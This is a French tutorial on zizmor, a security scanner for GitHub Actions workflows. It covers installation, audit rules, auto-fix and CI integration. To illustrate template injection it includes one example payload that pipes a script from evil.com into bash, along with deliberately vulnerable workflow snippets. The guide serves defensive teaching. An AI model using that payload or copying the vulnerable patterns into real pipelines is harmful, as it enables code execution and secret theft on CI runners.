Aller au contenu
CI/CD & Automatisation medium

Auditer vos workflows GitHub Actions avec zizmor

23 min de lecture

logo zizmor

zizmor détecte plus de 30 vulnérabilités dans vos workflows GitHub Actions en quelques secondes : injections de code, permissions excessives, actions non épinglées, secrets mal gérés. Ce guide vous montre comment l’installer, scanner vos workflows, comprendre les résultats, corriger automatiquement les problèmes et intégrer zizmor dans votre CI. Prérequis : Python 3.12+ (ou Homebrew/Cargo) et un dépôt contenant des workflows GitHub Actions.

zizmor est un analyseur statique (SAST — Static Application Security Testing) spécialisé dans la sécurité des workflows GitHub Actions. Écrit en Rust, il analyse vos fichiers YAML de workflows et détecte les vulnérabilités connues sans exécuter le moindre code.

Imaginez un inspecteur du bâtiment qui examine les plans d’une maison avant la construction. Il repère les murs porteurs manquants, les circuits électriques dangereux et les sorties de secours absentes — sans avoir besoin de construire la maison pour la voir s’effondrer. zizmor fait la même chose avec vos workflows : il lit vos fichiers YAML et identifie les failles de sécurité avant qu’un attaquant ne les exploite.

Les workflows GitHub Actions sont du code exécuté avec des privilèges élevés : accès aux secrets, permissions d’écriture sur le dépôt, capacité à publier des packages. Une vulnérabilité dans un workflow peut conduire à :

  • Vol de secrets (tokens, clés API, credentials)
  • Injection de code malveillant dans vos artefacts ou releases
  • Compromission de la supply chain en aval

zizmor identifie ces risques automatiquement, là où une revue manuelle des fichiers YAML les manquerait la plupart du temps.

Rapide

Écrit en Rust, zizmor scanne des dizaines de workflows en moins d’une seconde. Aucune configuration préalable n’est nécessaire.

30+ règles d'audit

Template injection, permissions excessives, actions non épinglées, secrets en clair, cache poisoning, impostor commits et bien d’autres.

Auto-fix

zizmor peut corriger automatiquement certaines vulnérabilités comme les injections de template en déplaçant les expressions dans des variables d’environnement.

Intégration CI

Sortie en SARIF pour GitHub Advanced Security, annotations pour les PR, JSON pour vos scripts. S’intègre dans n’importe quel pipeline.

Avant de commencer, assurez-vous d’avoir :

  • Python 3.12+ (pour l’installation via pip/pipx) ou Homebrew ou Cargo (Rust)
  • Un dépôt Git contenant des workflows dans .github/workflows/
  • Un terminal sous Linux, macOS ou Windows (WSL recommandé)

zizmor est distribué sous forme de binaire Rust. Plusieurs méthodes d’installation sont disponibles selon votre environnement.

La méthode la plus simple. pipx est recommandé car il isole zizmor dans son propre environnement virtuel Python :

Fenêtre de terminal
# Installation avec pipx (recommandé)
pipx install zizmor
# Ou avec pip classique
pip install zizmor

Vérification : Confirmez que zizmor est bien installé et notez la version :

Fenêtre de terminal
zizmor --version

Résultat attendu :

zizmor 1.22.0

La commande la plus simple scanne tous les workflows d’un dépôt :

Fenêtre de terminal
cd mon-projet
zizmor .github/workflows/

Vous pouvez aussi scanner un fichier spécifique :

Fenêtre de terminal
zizmor .github/workflows/ci.yml

Voici un exemple réel de sortie zizmor sur un workflow vulnérable :

error[template-injection]: code injection via template expansion
--> .github/workflows/greet.yml:12:27
|
11 | run: |
| --- this run block
12 | echo "Hello ${{ github.event.issue.title }}"
| ^^^^^^^^^^^^^^^^^^^^^^^^ may expand into attacker-controllable code
|
= note: audit confidence → High
= note: this finding has an auto-fix

Chaque finding (résultat) contient :

ÉlémentSignification
Sévéritéerror (haute), warning (moyenne), info (basse)
IdentifiantLe nom de la règle violée, ici template-injection
DescriptionCe que zizmor a détecté
LocalisationFichier, ligne et colonne exactes
ConfianceHigh, Medium ou Low — le degré de certitude
Auto-fixSi zizmor peut corriger automatiquement ce problème

Le code de sortie du programme indique le niveau de sévérité le plus élevé trouvé :

CodeSignification
0Aucun finding — vos workflows sont propres
1Erreur interne de zizmor
10Des findings de sévérité unknown détectés
11Des findings de sévérité informational détectés
12Des findings de sévérité low détectés
13Des findings de sévérité medium détectés
14Des findings de sévérité high détectés

Cela permet d’utiliser zizmor dans un script CI : un code de sortie ≥ 13 indique des problèmes sérieux qui méritent correction.

zizmor embarque plus de 30 règles d’audit. Voici les plus critiques, illustrées avec des exemples concrets.

Sévérité : haute — C’est la vulnérabilité la plus dangereuse dans GitHub Actions.

Quand vous écrivez ${{ github.event.issue.title }} directement dans un bloc run:, le contenu du titre de l’issue est injecté tel quel dans le script shell. Un attaquant peut créer une issue avec un titre comme "; curl http://evil.com/steal.sh | bash # et exécuter du code arbitraire sur votre runner.

.github/workflows/vulnerable.yml
steps:
- name: Greet the issue author
run: |
# ❌ DANGEREUX : injection possible via le titre
echo "Hello ${{ github.event.issue.title }}"

Correction : Passez les valeurs contrôlables par l’utilisateur via des variables d’environnement :

.github/workflows/safe.yml
steps:
- name: Greet the issue author
run: |
# ✅ SÉCURISÉ : la valeur passe par une variable d'environnement
echo "Hello ${ISSUE_TITLE}"
env:
ISSUE_TITLE: ${{ github.event.issue.title }}

Les expressions dangereuses les plus courantes :

  • github.event.issue.title et github.event.issue.body
  • github.event.pull_request.title et github.event.pull_request.body
  • github.event.comment.body
  • github.event.review.body
  • github.event.head_commit.message

Sévérité : haute — Utiliser un tag comme @v4 au lieu d’un SHA expose votre workflow aux attaques supply chain.

steps:
# ❌ Tag mobile — peut être déplacé vers du code malveillant
- uses: actions/checkout@v4
# ✅ SHA immuable — pointe toujours vers le même code
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

Sévérité : moyenne — Sans bloc permissions: explicite, un workflow hérite des permissions par défaut du dépôt, souvent en écriture sur tout.

# ❌ Pas de permissions définies → hérite des defaults (souvent write-all)
name: CI
on: push
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
# ✅ Permissions minimales explicites
name: CI
on: push
permissions: {} # Aucune permission par défaut
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: read # Seulement ce qui est nécessaire
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

Sévérité : haute — Le trigger pull_request_target exécute le workflow dans le contexte de la branche cible (avec ses secrets), mais peut accéder au code de la branche source (potentiellement malveillante).

# ❌ DANGEREUX : pull_request_target avec checkout du code du fork
on: pull_request_target
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm install && npm test # Exécute le code du fork avec les secrets !

Sévérité : moyenne — Par défaut, actions/checkout persiste le token GITHUB_TOKEN dans la configuration Git locale. Si un artefact est uploadé depuis le même job, ce token peut fuiter.

steps:
# ❌ Token persisté par défaut
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
# ✅ Token non persisté
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
with:
persist-credentials: false

Secrets surprovisionnés (overprovisioned-secrets)

Section intitulée « Secrets surprovisionnés (overprovisioned-secrets) »

Sévérité : haute — Injecter la totalité du contexte secrets dans une variable d’environnement expose tous les secrets du dépôt au runner, même ceux qui ne sont pas nécessaires.

steps:
- run: ./deploy.sh
env:
# ❌ Expose TOUS les secrets dans une seule variable
ALL_SECRETS: ${{ toJSON(secrets) }}
# ✅ Exposer uniquement le secret nécessaire
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

Credentials en dur (hardcoded-container-credentials)

Section intitulée « Credentials en dur (hardcoded-container-credentials) »

Sévérité : haute — Les mots de passe écrits en clair dans le workflow sont visibles par quiconque ayant accès au dépôt.

container:
image: myregistry.example.com/app
credentials:
username: deploy-user
# ❌ Mot de passe en clair dans le YAML
password: s3cr3t-p4ss
# ✅ Utiliser un secret GitHub
password: ${{ secrets.REGISTRY_PASSWORD }}

Sévérité : moyennesecrets: inherit transmet tous les secrets du workflow parent à un workflow réutilisable, même ceux dont il n’a pas besoin.

jobs:
deploy:
uses: ./.github/workflows/reusable-deploy.yml
# ❌ Transmet TOUS les secrets du parent
secrets: inherit
deploy-safe:
uses: ./.github/workflows/reusable-deploy.yml
# ✅ Transmet uniquement les secrets nécessaires
secrets:
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

Sévérité : haute — Vérifier github.actor == 'dependabot[bot]' pour accorder des privilèges est usurpable. Un attaquant peut créer un compte GitHub nommé de manière similaire ou manipuler le contexte.

# ❌ Condition usurpable
if: github.actor == 'dependabot[bot]'
# ✅ Utiliser le trigger dédié
on:
pull_request:
types: [opened]

zizmor propose trois personas (niveaux de rigueur) qui contrôlent quels findings sont affichés :

PersonaDescriptionUsage
regularFindings à haute confiance, faux positifs minimauxUsage quotidien (défaut)
pedanticInclut les odeurs de code et les recommandationsRevue approfondie
auditorTout est affiché, y compris les faux positifs probablesAudit de sécurité formel
Fenêtre de terminal
# Scan standard (persona regular, par défaut)
zizmor .github/workflows/
# Scan approfondi — plus de findings, plus de bruit
zizmor --persona=pedantic .github/workflows/
# Audit complet — tout est remonté
zizmor --persona=auditor .github/workflows/

Exemple comparatif sur le même dépôt :

PersonaFindings affichés
regular37 (30 supprimés)
pedantic67 (aucun supprimé)
auditor67+ (avec faux positifs)

zizmor peut corriger automatiquement certaines vulnérabilités. Deux modes de correction existent :

ModeCommandeComportement
Safe only--fixCorrections sûres uniquement — le comportement du workflow ne change pas
All--fix=allCorrections sûres et non sûres — le comportement peut changer

Fichier avant correction :

avant-fix.yml
steps:
- name: Greet
run: |
echo "Hello ${{ github.event.issue.title }}"
echo "Opened by ${{ github.event.issue.user.login }}"

Lancement de l’auto-fix :

Fenêtre de terminal
zizmor --fix=all .github/workflows/greet.yml

Fichier après correction par zizmor :

après-fix.yml
steps:
- name: Greet
run: |
echo "Hello ${GITHUB_EVENT_ISSUE_TITLE}"
echo "Opened by ${GITHUB_EVENT_ISSUE_USER_LOGIN}"
env:
GITHUB_EVENT_ISSUE_TITLE: ${{ github.event.issue.title }}
GITHUB_EVENT_ISSUE_USER_LOGIN: ${{ github.event.issue.user.login }}

zizmor a déplacé les expressions dangereuses dans des variables d’environnement. Le script shell utilise maintenant les variables d’environnement classiques (${VAR}) au lieu des expressions GitHub (${{ }}), ce qui empêche l’injection de code.

Quand vous avez beaucoup de findings, vous pouvez filtrer par sévérité et confiance pour vous concentrer sur les plus critiques :

Fenêtre de terminal
# Uniquement les findings de sévérité haute avec confiance haute
zizmor --min-severity=high --min-confidence=high .github/workflows/

Exemple sur un dépôt avec 67 findings :

FiltrageFindings affichés
Sans filtre67 (37 affichés, 30 supprimés)
--min-severity=high --min-confidence=high13
--min-severity=medium37

Pour un contrôle fin et reproductible, créez un fichier zizmor.yml à la racine de votre dépôt. Ce fichier permet d’ignorer des findings spécifiques ou de configurer certains audits.

zizmor.yml
rules:
unpinned-uses:
ignore:
# Ce workflow legacy sera migré plus tard
- vulnerable-permissions.yml

Ignorer une occurrence précise avec un commentaire inline

Section intitulée « Ignorer une occurrence précise avec un commentaire inline »

Vous pouvez aussi ignorer un finding directement dans le workflow en ajoutant un commentaire YAML :

.github/workflows/ci.yml
steps:
# zizmor: ignore[unpinned-uses]
- uses: actions/checkout@v4
zizmor.yml
rules:
artipacked:
ignore:
# Pas d'upload d'artefacts dans ce workflow, risque faible
- ci.yml
secrets-inherit:
ignore:
# Les workflows réutilisables internes sont de confiance
- deploy-pipeline.yml

Avec cette configuration en place, zizmor affiche un compteur d’ignorés :

5 findings (1 ignored, 3 suppressed, 1 fixable): 0 informational, 0 low, 1 medium, 0 high

zizmor fonctionne par défaut en mode hors ligne : il analyse uniquement les fichiers YAML présents localement. Mais il dispose aussi d’un mode en ligne qui apporte des audits supplémentaires.

Fenêtre de terminal
# Analyse locale — aucune requête réseau
zizmor --offline .github/workflows/

Ce mode détecte la majorité des vulnérabilités. Utilisez-le en CI pour éviter les dépendances réseau.

En fournissant un token GitHub, zizmor peut effectuer des vérifications supplémentaires comme les impostor commits (commits qui semblent venir d’un tag mais ne sont pas dans l’arbre du dépôt) :

Fenêtre de terminal
# Activer le mode en ligne via token
export GH_TOKEN=$(gh auth token)
zizmor .github/workflows/

Il est aussi possible de scanner un dépôt distant directement :

Fenêtre de terminal
# Scanner un dépôt GitHub sans le cloner
export GH_TOKEN=$(gh auth token)
zizmor my-org/my-repo

L’intégration la plus puissante utilise le format SARIF (Static Analysis Results Interchange Format) pour afficher les findings directement dans l’onglet Security de votre dépôt GitHub :

.github/workflows/zizmor.yml
name: Audit sécurité des workflows
on:
push:
branches: [main]
paths:
- '.github/workflows/**'
pull_request:
paths:
- '.github/workflows/**'
permissions: {}
jobs:
zizmor:
name: Scan zizmor
runs-on: ubuntu-latest
permissions:
security-events: write # Pour uploader le SARIF
contents: read
actions: read
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false
- name: Installer zizmor
run: pipx install zizmor
- name: Scanner les workflows
run: zizmor --format=sarif --offline .github/workflows/ > results.sarif
continue-on-error: true
- name: Uploader les résultats SARIF
uses: github/codeql-action/upload-sarif@ea9e4e37992a54ee68a9571ad585dd722115571f # v3.28.14
with:
sarif_file: results.sarif
category: zizmor

Si vous n’avez pas besoin du SARIF, une intégration minimaliste suffit :

.github/workflows/zizmor-simple.yml
name: Sécurité workflows
on:
pull_request:
paths:
- '.github/workflows/**'
permissions: {}
jobs:
zizmor:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
persist-credentials: false
- run: pipx install zizmor
- name: Audit des workflows
run: zizmor --offline --min-severity=medium .github/workflows/

Le pipeline échouera automatiquement (code de sortie ≥ 13) si des findings de sévérité moyenne ou haute sont détectés.

Pour détecter les problèmes avant même le push, ajoutez zizmor comme hook pre-commit :

.pre-commit-config.yaml
repos:
- repo: https://github.com/zizmorcore/zizmor-pre-commit
rev: v1.22.0
hooks:
- id: zizmor
Fenêtre de terminal
# Installer et activer
pip install pre-commit
pre-commit install

Chaque git commit modifiant un fichier dans .github/workflows/ déclenchera automatiquement un scan zizmor.

zizmor supporte quatre formats de sortie, chacun adapté à un usage différent :

FormatCommandeUsage
plain--format=plainLecture humaine dans le terminal (défaut)
json--format=jsonParsing automatisé par des scripts
sarif--format=sarifUpload vers GitHub Advanced Security
github--format=githubAnnotations dans les PR GitHub (max 10)

Exemple de sortie JSON pour un traitement automatisé :

Fenêtre de terminal
# Compter les findings par sévérité
zizmor --format=json --offline .github/workflows/ 2>/dev/null \
| jq 'group_by(.determinations.severity) | map({severity: .[0].determinations.severity, count: length})'
SymptômeCause probableSolution
No inputs collectedAucun fichier YAML trouvéVérifier le chemin : zizmor .github/workflows/
Beaucoup de unpinned-usesActions référencées par tagUtiliser pin-github-action pour épingler par SHA
Findings artipacked partoutpersist-credentials non désactivéAjouter persist-credentials: false au checkout
impostor-commit non détectéMode hors ligneExporter GH_TOKEN pour activer le mode en ligne
Faux positif sur un findingRègle trop stricte pour votre contexteIgnorer via zizmor.yml ou commentaire inline
error: invalid configurationSyntaxe du zizmor.yml incorrecteVérifier l’indentation YAML et les noms de règles
Code de sortie 14 en CIFindings de sévérité haute détectésCorriger les findings ou filtrer avec --min-severity
  1. zizmor est un analyseur statique dédié à la sécurité des workflows GitHub Actions — il détecte plus de 30 types de vulnérabilités sans exécuter votre code.

  2. Les template injections (${{ }} dans les blocs run:) sont la vulnérabilité la plus dangereuse — passez toujours par des variables d’environnement.

  3. Trois personas contrôlent le niveau de rigueur : regular pour le quotidien, pedantic pour les revues, auditor pour les audits formels.

  4. —fix=all corrige automatiquement certaines vulnérabilités comme les injections — vérifiez toujours le diff avant de committer.

  5. Le format SARIF permet d’afficher les findings directement dans l’onglet Security de GitHub — idéal pour le suivi dans le temps.

  6. zizmor.yml et les commentaires # zizmor: ignore[rule] permettent de gérer les faux positifs sans désactiver globalement une règle.

  7. Intégrez zizmor en CI sur les PR qui modifient .github/workflows/ pour capturer les vulnérabilités avant qu’elles n’atteignent main.

Ce site vous est utile ?

Sachez que moins de 1% des lecteurs soutiennent ce site.

Je maintiens +700 guides gratuits, sans pub ni tracing. Aujourd'hui, ce site ne couvre même pas mes frais d'hébergement, d'électricité, de matériel, de logiciels, mais surtout de cafés.

Un soutien régulier, même symbolique, m'aide à garder ces ressources gratuites et à continuer de produire des guides de qualité. Merci pour votre appui.

Abonnez-vous et suivez mon actualité DevSecOps sur LinkedIn